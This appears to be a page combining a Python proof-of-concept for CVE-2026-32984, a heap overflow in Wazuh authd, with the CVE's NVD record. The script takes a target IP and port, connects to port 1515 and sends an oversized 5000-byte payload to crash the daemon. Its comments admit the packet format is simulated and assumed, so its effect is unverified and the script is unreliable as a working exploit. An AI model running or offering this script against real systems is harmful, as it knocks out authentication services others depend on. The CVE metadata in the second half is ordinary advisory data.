CVE-2026-32984

import socket import sys def send_exploit(target_ip, target_port=1515): """ PoC for CVE-2026-32984 Heap Buffer Overflow in Wazuh authd. This script sends a crafted packet to trigger the vulnerability. """ try: # Create a malicious payload with oversized data to trigger heap overflow # Adjust the length based on the specific buffer size of the target version payload = b'A' * 5000 # Construct the packet structure (simulated) # Assuming authd accepts raw input or specific protocol format packet = b"\x00" + payload + b"\x00" print(f"[*] Sending exploit payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(packet) s.close() print("[+] Payload sent successfully. Check if the service crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-32984.py <target_ip> [port]") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1515 send_exploit(ip, port)

{"cve": {"id": "CVE-2026-32984", "sourceIdentifier": "[email protected]", "published": "2026-03-27T16:16:24.500", "lastModified": "2026-03-31T18:29:15.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh authd contains a heap-buffer overflow vulnerability that allows attackers to cause memory corruption and malformed heap data by sending specially crafted input. Attackers can exploit this vulnerability to trigger a denial of service condition, resulting in low availability impact to the authentication daemon."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.5.0", "matchCriteriaId": "37C53987-5376-4F61-AE83-F2C00BA198E3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:4.3.10:*:*:*:*:*:*:*", "matchCriteriaId": "A0F696D6-51E3-49B9-979D-1A202A7044C8"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-grjq-p5fg-m24r", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.vulncheck.com/advisories/heap-buffer-overflow-in-wazuh-authd", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}